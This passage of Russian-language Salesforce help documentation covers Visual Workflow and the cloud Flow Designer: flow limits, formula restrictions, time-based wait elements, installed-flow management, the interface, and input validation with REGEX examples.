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Рекомендации по работе с большими потоками

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

Бизнес-процессы могут быть сложными. При использовании потока, выходящего за
пределы холста, измените масштаб, выполните поиск на вкладке «Проводник» или
сверните левую боковую панель.

Масштаб
Чтобы увеличить или уменьшить масштаб потока, воспользуйтесь кнопками «+» и
«-» в правой части холста.

Поиск на вкладке «Проводник»
Чтобы найти конкретный элемент или ресурс, выполните поиск на вкладке «Проводник».

• Чтобы найти конкретный элемент, введите его имя в поле поиска.

• Чтобы найти все экземпляры отдельного элемента или ресурса, щелкните значок лупы и выберите нужный тип.

Послеобнаружениянужногоресурсанавкладке «Проводник» просмотритеэлементы, использующиеданныйресурс.
Откройте вкладку «Использование» на панели «Описание».

Послеобнаружениянужногоэлементана вкладке «Проводник» найдитеданныйэлементнахолсте. Наведите указатель
мыши на элемент и щелкните значок лупы.

Элемент выделяется на холсте зеленым цветом.
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ПринеобходимостиоблачнаяверсияприложенияFlow Designerавтоматическипрокручиваетстраницудляотображения
элемента, находящегося не на виду.

Сворачивание левой боковой панели
Чтобы скрыть вкладки «Палитра», «Ресурсы» и «Проводник», щелкните стрелку влево напротив боковой панели.
Данное действие позволяет увеличить полезное пространство холста.

Ограничения для полей со множественным выбором

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

Благодаря кнопкам-флажкам и полям раскрывающихся списков со множественным
выборомпользователипотокамогут выбиратьнесколько значенийвполеокна. Дотого
как приступить к использованию полей со множественным выбором, изучите, как они
работаютприпроектированиипотокаивситуации, когдаприменяютсяпользователями.

Настройка полей ресурсов со множественным выбором

• Поле со множественным выбором может содержать только одно стандартное
значение.

• Приналичии соответствующихнастроек ресурс «Динамический выбор записи»
позволяетназначатьпеременнымпотока значенияполей, доступныеввыбранной
пользователем записи. Если поле со множественным выбором использует
динамический выбор записи, то переменные потока хранят только значения из
последней записи, выбранной пользователем. Если несколько полей со
множественным выбором в одном окне используют один и тот же динамический выбор записей, присвоения
переменных распространяются на первые из этих полей.
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Использование значений из поля ресурса множественного выбора

• При выполнении значение поля со множественным выбором является объединением выбранных пользователем
значений, разделенныхточкамис запятыми. Есликакое-либоиз выбранных значенийвключает точкис запятыми,
то последние будут удалены.

• Если вы задействуете поля со множественным выбором в условиях потока, следуйте нашим рекомендациям.

– Настройте сохраненное значение для каждого варианта, используемого в полях со множественным выбором.

– Поля со множественным выбором, доступные в одном окне, не должны содержать одинаковых вариантов.

СМ. ТАКЖЕ:

Элемент «Окно» в потоке: поля выбора

Ограничения для формул потока

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

При создании ресурса «Формула» или добавлении проверки в поле ввода просмотрите
ограничения для формул в Visual Workflow.

• Формулы потока могут содержать не более 3 000 символов.

• Формула возвращает значение null, если:

– Значение, возвращаемое формулой, не соответствует ее типу данных.

– Формула содержит неподдерживаемуюфункцию.

Например, результатом ресурса «Формула», использующего тип данных «Число»,
должно быть число.

• Ниже перечисленыфункции, которые не поддерживаются формулой потока.

– GETRECORDIDS

– IMAGE

– INCLUDE

– ISCHANGED

– ISNEW

– PARENTGROUPVAL

– PREVGROUPVAL

– PRIORVALUE

– REQUIRE SCRIPT

– VLOOKUP

Полный список операторов и функций, доступных для создания формул, см. в разделе «Операторы и функции
формулы» на странице 4632 интерактивной справки Salesforce.

• Впотокефункция CONTAINS проверяетвсесимволывнутрискобок. Прииспользованииссылокнаполякросс-объекта
функция CONTAINS выполняет действия, аналогичные другим областям Salesforce. Она проверяет только первые
250 символов ссылки.

См. пример ниже. Переменная varContract ссылается на переменную sObject, содержащую значения записи
контракта. Данное выражение формулы проверяет только первые 250 символов.

CONTAINS({!varContract.Account.Description}, "description")
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Данное выражение формулы проверяет все символы поля.

CONTAINS({!varContract.Description}, "description")

• Еслиполеокна «Отображать текст» содержитнедопустимуюформулу, топривыполнениипотокотображаетпустую
строку.

• Поток, содержащий недопустимуюформулу, не может быть активирован.

СМ. ТАКЖЕ:

Ресурс потока «Формула»

Ресурсы потока

Ограничения для контролируемых по времени потоков

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

Прежде чем создавать потоки, содержащие как минимум один элемент «Ожидание»,
просмотрите перечисленные ниже ограничения и рекомендации.

• Деактивация потока или версии потока не препятствует обычному выполнению
связанных ожидающих сеансов. При наличии связанных ожидающих сеансов
удаление потока или версии потока не поддерживается.

• Сеанс может выполнять только один путь события на каждый элемент «Ожидание».
Завершениеобработкиодногоизсобытийинициируетудалениеоставшихсясобытий
из очереди.

• Организация может обрабатывать не более 1 000 событий в час. Завершение
обработкисобытияинициируетвозобновлениесвязанногосеансаиудалениелюбых
других событий для данного сеанса из очереди. При превышении данного
ограничениясистема Salesforceобрабатываетоставшиеся события в следующемчасу.

Например, организацияиспользует 1 200 событий, обработкакоторыхзапланированана 16:00—17:00. СистемаSalesforce
обрабатывает 1 000 событий между 16:00—17:00, а дополнительные 200 событий между 17:00—18:00.

• Организация может использовать не более 30 000 сеансов, являющихся ожидающими на определенный момент
времени.

• Если пользователь, начавший сеанс, деактивируется при попытке выполнения пути события системой Salesforce, то
возобновление сеанса прерывается.

Транзакции и ожидающие сеансы

Транзакция завершается как только сеанс потока начинает ожидать событие. Возобновление сеанса потока инициирует
началоновойтранзакции. Операции, следующиеза элементом «Ожидание», выполняютсякакчастьпакетнойтранзакции,
содержащей другие возобновленные сеансы.

Сеансы не поддерживают раздельное возобновление. Они группируются как отдельный пакет, который начинает
возобновлятьсяв течениеодногочасапослевходапервогосеансавпакет. Любыедействия, инициированныевыполнением
данных групповых сеансов, также выполняются как отдельная транзакция. Данный алгоритм может инициировать
превышение контролирующих ограничений Apex, если возобновленный сеанс выполняет операции DML или запросы
SOQL посредством компонентов ниже.

• Элементы потока (например, «Создание записи» или «Быстрый поиск»)

• Элементы «Модуль Apex»

• Триггеры Apex
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• Немедленные действия бизнес-правила

Дополнительные сведения о контролирующих ограничениях Apex см. в разделе «Ограничения для Visual Workflow» на
странице 4896.

Если элемент «Ожидание» предшествует любому элементу потока, выполняющему операции DML или запросы SOQL:

• Убедитесь, что потоки выполняют между элементами «Ожидание» только операции DML или запросы SOQL,
разрешенные контролирующими ограничениями Apex.

• Воспользуйтесь несколькими элементами «Ожидание», позволяющими выполнять операции DML и запросы SOQL
посредством нескольких транзакций.

• Добавьте пути ошибок для данных элементов, позволяющие возвращать поток в элемент «Ожидание» при наличии
сообщения об ошибке:

Too many SOQL queries

или

Too many DML operations

Если возобновленный сеанс не выполняется:

• Предыдущие сеансы в транзакции данного пакета завершаются успехом.

• Операции, выполненные сеансом до момента ожидания, завершаются успехом.

• Если сбой обрабатывается коннектором «Ошибка», то операции, выполненные сеансом после возобновления, но до
сбоя, завершаются успехом. Операция, инициировавшая сбой сеанса, завершается ошибкой.

• Если сбой не обрабатывается коннектором «Ошибка», то операции, выполненные сеансом после возобновления, но
до сбоя, отменяются. Операция, инициировавшая сбой сеанса, завершается ошибкой.

• Оставшиеся сеансы в данном пакете подлежат рассмотрению.

Ограничения для общих оповещений

• Оповещения не поддерживают минуты или секунды.

• Если сеанс ожидает наступления события, заданного на прошедшее время, то система Salesforce возобновляет сеанс
в течение одного часа.

Например, поток отправляет сообщение эл. почты ответственному за возможность за семь дней до даты закрытия.
При этом создается сеанс для возможности, которая должна быть закрыта сегодня. Система Salesforce возобновляет
сеанс в течение одного часа.

Ограничения для оповещений по абсолютному времени

• Оповещения по абсолютному времени оцениваются на основе часового пояса пользователя, создавшего поток.

Ограничения для оповещений по относительному времени

• Оповещения по относительному времени оцениваются на основе часового пояса организации.

• Организацияможетиспользоватьнеболее20 000 заданныхоповещенийпоотносительномувременидля всех версий
потока.

• Оповещения не могут ссылаться на указанные ниже поля.

– Поля DATE или DATETIME, содержащие автоматические производные функции (например, TODAY или NOW).
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– Поля формулы, содержащие поля слияния связанного объекта.

• Приизмененииполядаты, используемогоневыполненнымоповещениемпоотносительномувременивожидающем
сеансе, система Salesforce пересчитывает события, связанные с сеансом.

Например, поток отправляет сообщение эл. почты ответственному за возможность за семь дней до даты закрытия
возможности, а датой закрытия выбирается 20 февраля 2014 года. Ниже перечислены возможные результаты.

– Дата закрытия не изменяется перед возобновлением сеанса. Результат: система Salesforce возобновляет сеанс
13 февраля 2014 года и отправляет сообщение эл. почты.

– Дата закрытия изменяется на 10 февраля 2014 года перед возобновлением сеанса. Результат: система Salesforce
планирует оповещение по относительному времени повторно и возобновляет сеанс 3 февраля 2014 года.

– Дата закрытия изменяется на прошедшую дату. Результат: система Salesforce пересчитывает оповещение по
относительному времени и возобновляет сеанс сразу после сохранения записи.

• Еслиоповещениепоотносительномувремениссылаетсянанулевоеполедатыпривыполненииэлемента «Ожидание»
сеансом потока, то система Salesforce возобновляет сеанс в течение одного часа.

• Если оповещение по относительному времени ссылается на поле даты, которое содержит ненулевое значение при
выполнении элемента «Ожидание» сеансом потока и последующем обновлении поля нулевым значением перед
обработкойоповещения, то система Salesforce возобновляет сеанс в течениеодногочасапослеобновленияполядаты.

• Если ожидающий сеанс содержит оповещение по относительному времени, то удаление ссылочной записи или
объекта инициирует удаление оповещения из очереди. Сеанс, который не содержит других событий для ожидания,
подлежит удалению.

• Продукт или прайс-лист, используемыйоповещениемпо относительному или абсолютному времени в ожидающем
сеансе, не может быть заархивирован.

• Ограничения по преобразованию интересов

– Интерес, имеющий связанные оповещения по относительному времени в ожидающих сеансах, не может быть
преобразован.

– Если включенафункция «Выполнять проверку и триггеры при преобразовании интереса», то текущие операции
над интересами после элемента «Ожидание» не выполняются при преобразовании интересов.

– Если участник кампании на основе интереса преобразуется до завершения ожидающего сеанса, связанного с
данной записью, то система Salesforce все равно выполняет данный сеанс.

СМ. ТАКЖЕ:

Рекомендации по проектированию потоков

Ограничения и рекомендации для Visual Workflow

Операторы в условиях потока

Элемент «Ожидание» в потоке
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Рекомендации по управлению потоками

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

Ниже перечислены некоторые ограничения по управлению потоками.

Активация потоков
При активации новой версии предыдущая активированная версия потока (при ее
наличии) автоматически деактивируется. Любой выполняемый сеанс потока
продолжает выполняться посредством версии, использовавшейся при его запуске.

Удаление потоков
Преждечемудалить активнуюверсиюпотока, рекомендуемдеактивироватьнужную
версию потока. Поток, содержащий приостановленные или ожидающие сеансы,
может быть удален только после их завершения или удаления. Потоки, которые не
были активированы, могут быть удалены незамедлительно.

Свойства потока
Поумолчаниюсвойства для версийзаданногопотока автоматическисоответствуют
свойствам активной версии. Другими словами, при наличии трех версий и активации версии 2 система Salesforce
обновляет свойства версий 1 и 3 для соответствия версии 2. Темнеменее, редактирование свойств неактивной версии
препятствует автоматическому обновлению ее свойств с целью соответствия активной версии.

Типпотокаопределяется активной (илипоследней) версиейпотока. Например, еслиактивная версияпотока содержит
элемент «Окно», то используется тип «Поток». Данный тип не поддерживает внедрение посредством системного
метода (например, конструктор процессов).

Рекомендации по установленным потокам
Ниже перечислены рекомендации по распространению, обновлению или удалению потока, установленного из
пакета.

СМ. ТАКЖЕ:

Управление потоками

Ограничения и рекомендации для Visual Workflow

Рекомендации по установленным потокам

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

Ниже перечислены рекомендации по распространению, обновлению или удалению
потока, установленного из пакета.

• Облачная версия приложения Flow Designer не позволяет открывать потоки,
установленные из управляемых пакетов.

• При установке пакета, содержащего несколько версий потока, в новую целевую
организацию, развертывание выполняется только для последней версии потока.

• При установке потока из управляемого пакета сообщения эл. почты об ошибках для
сеансовданногопотоканесодержатсведенияоботдельныхэлементахпотока. Письмо
отправляется пользователю, который установил поток.

• При установке потока из неуправляемого пакета, имя которого соответствует имени
установленного потока, но при этом отличаются их номера версий, поток,
установленныйпоследним, становитсяпоследнейверсиейтекущегопотока. Однако,
еслиобапотокаиспользуютодинаковыеименаиномера версий, то установкапакетане выполняется. Потокнеможет
быть перезаписан.
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Статус
Активный поток в пакете активируется только после установки. Предыдущая активная версия потока деактивируется
вцелевойорганизациивпользунедавноустановленнойверсии. Любыетекущиепотоки, восновекоторыхиспользуется
ныне деактивированная версия, продолжат свое выполнение, но будут отображать предыдущую версию потока.

Распространение установленных потоков

• Присозданиинастраиваемойкнопки, ссылкииливеб-вкладкидляпотока, установленногоиз управляемогопакета,
добавьте пространство имен в URL-адрес. URL-адрес должен иметь следующийформат:
/поток/пространство_имен/уникальное_имя_потока.

• Придобавлениипотока, установленногоизуправляемогопакета, настраницуVisualforceвоспользуйтесьследующим
форматом атрибута name: пространство_имен.уникальное_имя_потока.

Обновление установленных потоков
Приобновленииуправляемогопакета ворганизацииновая версияпотока устанавливается толькоприналичииболее
новой версии от разработчика. В результате выполнения нескольких обновлений пакет может содержать несколько
версий потока.

Удаление установленных потоков

• Потокнеможет быть удалениз установленногопакета. Чтобыудалитьпотокпакета из организации, рекомендуем
деактивировать поток и удалить пакет.

• Организация разработки не позволяет удалять компоненты потока из установленных пакетов со статусом
«Управляемый — бета-версия».

• При наличии нескольких версий потока, установленных из разных неуправляемых пакетов, запрещается удалять
только одну версию путем удаления соответствующего пакета. При удалении управляемого или неуправляемого
пакета, содержащего одну версию потока, удаляется весь поток и все его версии.

СМ. ТАКЖЕ:

Потоки в наборах изменений и пакетах

Рекомендации по распространению потоков вместе с пакетами

Установка пакета

Рекомендации по выполнению потоков

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

При запуске или тестировании потока помните о некоторых ограничениях и
рекомендациях.

• Рекомендуемвнимательнопроверятьпотоки, содержащиеэлементыудаления. Поток
(даже неактивный) инициирует операцию удаления.

• При выполнении значения даты/времени могут использовать часовые пояса,
отличающиеся от тех, которые отображаются облачной версией приложения Flow
Designer. Во время выполнения значения даты/времени учитывают параметры
часового пояса текущего пользователя, заданные в системе Salesforce.

• Сеансыне выполняютдействия, такие какотправкаписем, создание, редактирование
иудаление записей, покане завершится связанная спотокомтранзакция. Транзакции
считаются выполненными после того как сеанс завершится, либо будут выполнены
элементы «Экран» или «Ожидание».Длясозданияиобновлениязаписейприменяются
не только элементы «Запись» и «Быстрые». Это также делают элементы «Сообщение в Chatter», «Отправить на
утверждение» и «Быстрые действия».
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• Запрещается использовать кнопки обозревателя «Вперед» и «Назад» для перемещения по потоку. Их использование
может повлиять на согласованность данных между потоком и системой Salesforce.

• Одному потоку может соответствовать не более 50 разных версий. При выполнении потока отображается активная
версия, но администратору может быть доступна более новая версия.

• При использовании потоков, взаимодействующих с базой данных Salesforce, убедитесь, что пользователи могут
создавать, просматривать, редактироватьиудалятьсоответствующиезаписииполя. Впротивномслучае, пользователям,
пытающимся запуститьпоток, отображается сообщениеоботсутствиинеобходимыхполномочий. Например, поток
выполняет поиск и обновление статуса записи обращения. Пользователям потока должны быть предоставлены
полномочия «Чтение» и «Редактирование» для поля «Статус» объекта «Обращение».

• При распространении потока не рекомендуем передавать значение поля валюты из записи Salesforce в переменную
потока типа «Валюта» посредством параметра URL-адреса. Если поле слияния (например,
{!Account.AnnualRevenue}) ссылается на поле валюты, то значение поля содержит символ единицы валюты
(например, $). Переменные потока типа «Валюта» могут принимать только числовые значения, поэтому поток не
выполняется.Взамен, рекомендуемиспользоватьпараметр URL-адреса дляпереноса кода записивпеременнуюпотока
типа «Текст», а в потоке использовать код для поиска значения поля валюты данной записи.

В Salesforce1 или на странице Lightning
Если вы используете рабочий поток из раздела «Приостановленные сеансы потока» в Salesforce1 или на странице
Lightning:

• этот поток не проверяет поля для ввода «Валюта» или «Количество», если их значение превышает 18-значное
число.

• Для выбранных полей ввода, для которых необходимо указывать даты, необходимо ввести дату в следующем
формате: ГГГГ-ММ-ДД

СМ. ТАКЖЕ:

Тестирование потока

Сеансы потока

Ограничения и рекомендации для Visual Workflow

Доступность потока

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

Visual Workflow соответствует требованиям статьи 508, кроме некоторых исключений.

• Название экрана не изменится после нажатия кнопки «Далее» или «Предыдущий»,
поэтому вы можете не сразу понять, что находитесь на новой странице.

• Поля переключателей не имеют меток. Программы для чтения экрана не могут
различать вопросы.

• Вопросы без подсказок могут считываться неправильно.

• При чтении полей ошибки пропускаются.

СМ. ТАКЖЕ:

Ограничения и рекомендации для Visual Workflow
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Облачная версия приложения Flow Designer

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

Облачная версия приложения Flow Designer позволяет создавать потоки без создания
специального кода.

Чтобы получить доступ к набору полезных ресурсов, включая видеоролики и образцы
потоков, откройте облачную версию приложения Flow Designer ищелкните ссылку
«Начало работы».

Требования по использованию облачной версии приложения Flow Designer

Преждечемиспользоватьоблачнуюверсиюприложения Flow Designer, рекомендуем
обновить обозреватель и программу Adobe® Flash® Player.

Обзор пользовательского интерфейса облачной версии приложения Flow Designer

Преждечемиспользоватьоблачнуюверсиюприложения Flow Designerдля создания
потоков, просмотрите его основные компоненты.

Поиск по потоку
Померерасширенияиусложненияпотоковпоискнужныхэлементовстановитсявсеболеепроблематичным. Облачная
версия приложения Flow Designer поддерживает инструменты для быстрого поиска элементов и ресурсов потока.

Поиск на вкладке «Палитра»
Добавление потоков, действий и классов Apex в организацию усложняет процесс поиска отдельного элемента на
вкладке «Палитра». Однако вкладка «Палитра» поддерживает быстрый поиск элементов, необходимых для потока.

СМ. ТАКЖЕ:

Элементы потока

Ресурсы потока

Требования по использованию облачной версии приложения Flow Designer

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

Прежде чем использовать облачную версию приложения Flow Designer, рекомендуем
обновить обозреватель и программу Adobe® Flash® Player.

Рекомендуем:

• Windows® Internet Explorer® 8, 9, 10 и 11, Google® Chrome™или Mozilla® Firefox®. Версии 6.0
и 7.0 обозревателя Internet Explorer не поддерживаются.

• Adobe® Flash® Player 10.1 или более поздней версии. Для запуска облачной версии
приложения Flow Designer следует использовать версию не ниже 10.0.

• Минимально допустимое разрешение обозревателя: 1 024 x 768 пикселов.

4916

Visual WorkflowРасширение Salesforce посредством интерактивных
инструментов



Обзор пользовательского интерфейса облачной версии приложения Flow Designer

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

Прежде чем использовать облачную версию приложения Flow Designer для создания
потоков, просмотрите его основные компоненты.

Панель кнопок (1)
Создавайте потоки и управляйте ими.

• Кнопка «Выполнить» инициирует выполнение последней сохраненной версии открытого потока. Если поток
содержитэлементы «Подпоток», то каждыйподпотоквыполняет активнуюверсиюсоответствующегоссылочного
потока. Приотсутствииактивнойверсииссылочногопотока элемент «Подпоток» выполняетпоследнююверсию
соответствующего ссылочного потока.

• Индикатор состояния, расположенный справа, определяет:

– Активность потока

– Наличие несохраненных последних изменений

– Наличие предупреждений или ошибок в последней сохраненной версии потока

Чтобы просмотреть список предупреждений или ошибок, щелкните индикатор.
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Холст (2)
Холст — эторабочаяобласть, предназначеннаядля созданияпотокапутемдобавленияэлементов. Помередобавления
и связывания элементов между собой отображается визуальная диаграмма потока.

Вкладка «Палитра» (3)
Вкладка «Палитра» позволяетдополнятьпотокновымиэлементами (например, элементы «Окно» и «Созданиезаписи»).

Вкладка «Ресурсы» (4)
Вкладка «Ресурсы» позволяет создавать ресурсы (например, переменная или формула) для использования в потоке.

Вкладка «Проводник» (5)
Вкладка «Проводник» — это библиотека всех элементов и ресурсов, добавленных в поток.

СМ. ТАКЖЕ:

Свойства потока

Управление элементами, ресурсами и коннекторами в потоке

Поиск на вкладке «Палитра»

Поиск по потоку

Поиск по потоку

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для открытия, создания или
редактирования потока в
облачной версии
приложения Flow Designer:
• «Управление Force.com

Flow»

По мере расширения и усложнения потоков поиск нужных элементов становится все
более проблематичным. Облачная версия приложения Flow Designer поддерживает
инструменты для быстрого поиска элементов и ресурсов потока.

Откройте поток в облачной версии приложения Flow Designer. После этого найдите
элемент или ресурс в потоке с помощью приведенных ниже инструкций.

• Введите текст поиска на вкладке «Проводник».
Вкладка «Проводник» отображает только элементы и ресурсы, свойства которых
содержат введенный текст.

• Отфильтруйте содержимое вкладки «Проводник» по типу элемента или ресурса,
щелкнув по значку .

Чтобыудалитьфильтр, щелкните значок ивыберите значение «ИСКАТЬВСЕ».

• Затените все видимые элементы страницы, кроме результатов поиска, нажав
«Выделить результаты на холсте».

• Чтобыувеличитьилиуменьшитьнужнуюобластьхолста, воспользуйтесьэлементами
управления в верхнем правом углу страницы.

• Чтобы просмотреть область применения элемента вкладки «Проводник» на холсте,
выполните нужный порядок действий.

Если элемент вкладки «Проводник» является элементом холста или полем окна:

1. Наведите указатель мыши на нужный элемент вкладки «Проводник».

2. Щелкните значок .

Если элемент вкладки «Проводник» является ресурсом, который не отображается на холсте:

1. Щелкните нужный элемент вкладки «Проводник».

2. Откройте вкладку «Использование» на панели «Описание».

3. Наведите указатель мыши на нужный элемент вкладки «Использование».
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4. Щелкните значок .

Выбранный элемент должен быть выделен на смещенном холсте.

СМ. ТАКЖЕ:

Обзор пользовательского интерфейса облачной версии приложения Flow Designer

Поиск на вкладке «Палитра»

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для открытия, создания или
редактирования потока в
облачной версии
приложения Flow Designer:
• «Управление Force.com

Flow»

Добавлениепотоков, действийиклассовApex ворганизациюусложняетпроцесспоиска
отдельного элемента на вкладке «Палитра». Однако вкладка «Палитра» поддерживает
быстрый поиск элементов, необходимых для потока.

Чтобы найти отдельный элемент на вкладке «Палитра», выполните одно из указанных
ниже действий.

• Введите текст поиска напротив значка .
Вкладка «Палитра» отображает только элементы, содержащие введенный текст.

• Чтобы отфильтровать содержимое вкладки «Палитра» по типу элемента, щелкните
значок и выберите нужный тип.

• Чтобыудалитьфильтр, щелкните значок ивыберите значение «ИСКАТЬВСЕ».

СМ. ТАКЖЕ:

Обзор пользовательского интерфейса облачной версии приложения Flow Designer
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Создание потока

Создание потока

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для открытия, создания или
редактирования потока в
облачной версии
приложения Flow Designer:
• «Управление Force.com

Flow»

Послевыборапроцесса, подлежащегоавтоматизации, создайте соответствующийпоток
посредством облачной версии приложения Flow Designer.

Совет: Прежде чем начать создание потока, рекомендуем составить подробный
план. Visual Workflow позволяет пользователям быстро автоматизировать
бизнес-процессы при полном понимании их особенностей.

Если облачная версия приложения Flow Designer используется впервые, рекомендуем
просмотреть как минимум один образец потока в Рабочей тетради по облачной версии
приложения Flow Designer. Эти примеры позволят ближе познакомиться с данным
инструментом и способами его использования.

1. Откройте облачную версию приложения Flow Designer. Введите строку «Потоки» в
поле «Быстрый поиск» в меню «Настройка», затем выберите пункт «Потоки» и
щелкните «Создать поток».

2. Перетащите соответствующие элементы на холст.

Совет: Если нужный элемент все еще не определен, добавьте элемент
«Действие» в качестве структурногонуля. Элемент «Действие» можетбытьвсегда
заменен нужным элементом.

3. Соедините элементы между собой для определения их порядка.

4. Выберите начальный элемент выполняемого потока.

5. Сохраните любые изменения, внесенные в поток.

6. Протестируйте поток на предмет его корректной работы.

7. Активируйте поток для предоставления пользователям возможности его выполнения.

8. Распространите поток среди соответствующих пользователей.

СМ. ТАКЖЕ:

Управление потоками

Рекомендации по проектированию потоков

Доступность потока

Стандартные блоки потока
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Типовые задачи

Управление элементами, ресурсами и коннекторами в потоке

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для открытия, создания или
редактирования потока в
облачной версии
приложения Flow Designer:
• «Управление Force.com

Flow»

Чтобынастроитьпоток, добавьте, изменитеилиудалитеэлементы, ресурсыиконнекторы.

УдалениеПравкаДобавление

Наведите указатель
мыши на нужный
элемент и щелкните
значок .

Дваждыщелкните
нужный элемент или
наведите на него
указатель мыши и
щелкните значок .

Выберите нужный
элемент на вкладке
«Палитра» иперетащите
его на холст.

Элемент

Наведите указатель
мышинанужныйресурс
и щелкните значок
навкладке «Проводник».

Дваждыщелкните
нужный ресурс или
наведите на него
указатель мыши и
щелкните значок на
вкладке «Проводник».

Дваждыщелкните
нужный ресурс на
вкладке «Ресурсы».

Ресурс

Выберите нужный
коннектор и нажмите
клавишу DELETE.

—Щелкните узел внизу
исходного элемента на
холсте и перетащите
линиювлюбуюобласть
целевого элемента.

Коннектор

СМ. ТАКЖЕ:

Элементы потока

Ресурсы потока

Коннекторы потока
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Проверка пользовательского ввода посредством формул потока

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для открытия, создания или
редактирования потока в
облачной версии
приложения Flow Designer:
• «Управление Force.com

Flow»

При необходимости проверьте данные, введенные пользователями в окнах потока.

• Выражение формулы должно возвращать логическое значение (ИСТИНА или
ЛОЖЬ).

• Если выражение оценивается как ИСТИНА, то введенные данные являются
допустимыми. Если выражение оценивается как ЛОЖЬ, то пользователю
направляется сообщение об ошибке.

• Еслипользовательпропускаетнеобязательноеполе, топотокнепроверяет этополе.

При настройке поля ввода:

1. Выберите «Проверить» в разделе «Проверка ввода».

2. Определитедопустимыезначениядляэтогополяспомощьюлогическоговыражения
формулы.

Прим.:

• Выражение формулы должно возвращать логическое значение.

• Если выражение формулы оценивается как TRUE, то введенные данные
являются допустимыми.

• Если выражение формулы оценивается как FALSE, то пользователю
отображается сообщение об ошибке.

• Если пользователь пропускает поле, которое не является обязательным, то
проверка потока не выполняется.

3. Настройте сообщение об ошибке, которое должно отображаться при неудачной проверке пользовательского ввода.

Чтобы переключить редактор обычного текста на редактор обогащенного текста (или наоборот), щелкните значок
.Использование редактора обогащенного текста инициирует сохранение содержимого в виде HTML.

Пример:

• Проверка формата адреса эл. почты:

REGEX({!Email_Address},"[a-zA-Z0-9._%+-]+@[a-zA-Z0-9.-]+\\.[a-zA-Z]{2,4}")

• Проверка формата почтового индекса:

REGEX({!Zipcode},"\\d{5}(-\\d{4})?")
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Определение условий потока

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для открытия, создания или
редактирования потока в
облачной версии
приложения Flow Designer:
• «Управление Force.com

Flow»

Определяет порядок применения потоком конкретного результата решения или
ожидания конкретного события ожидания.

Преждечемначатьработу, создайте элемент «Решение» или «Ожидание» длядобавления
условий. Чтобы добавить условия в событие ожидания, установите флажок «Ожидать
данное событие только при выполнении дополнительных условий».

1. Настройте условия.

При выполнении условия оцениваются в порядке, заданном пользователем.

ОписаниеЗаголовок
столбца

Ресурс потока, значение которого должно быть оценено.Ресурс

Доступные операторы определяются типом данных,
выбранным для столбца «Ресурс». Дополнительную
информациюсм. в разделе «Операторы в условиях потока»на
странице 4997.

Оператор

Столбцы «Переменная» и «Значение» однойстрокидолжны
использовать совместимые типы данных.

Доступные действия:

Значение

• Выберите текущий ресурс потока (например, переменная,
постоянная или ввод данных пользователем).

• Чтобысоздатьресурспотока, выберитераздел «СОЗДАТЬ».

• Введите вручнуюлитеральное значениеилиполе слияния.

Прим.: Дата, значение которой дополняется или
лишается числа, отображается в днях, а не часах.

2. Определите логику между условиями.

ОписаниеПараметр

Если одно из условий является ложным, то поток оценивает условия следующего
результата.

Все условия должны быть
истинными (И)

Еслиодноиз условийявляетсяистинным, топотокнемедленноприменяетпутьданного
результата.

Одно условие должно
быть истинным (ИЛИ)

Настраиваемая логика.

При выборе данного параметра заполните поле «Логика» настраиваемой логикой
путем ввода текстовой строки. Использование:

Расширенная логика
(комбинация операторов
И и ИЛИ)

• числа для обращения к каждому условию

• операторы «И» или «ИЛИ» для определения условий, которые должны быть
истинными
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ОписаниеПараметр

• скобки для объединения элементов строки

Совет: Введенный оператор «И» соответствует выбранному параметру «Все
условия должны быть истинными (И)». Введенный оператор «ИЛИ»
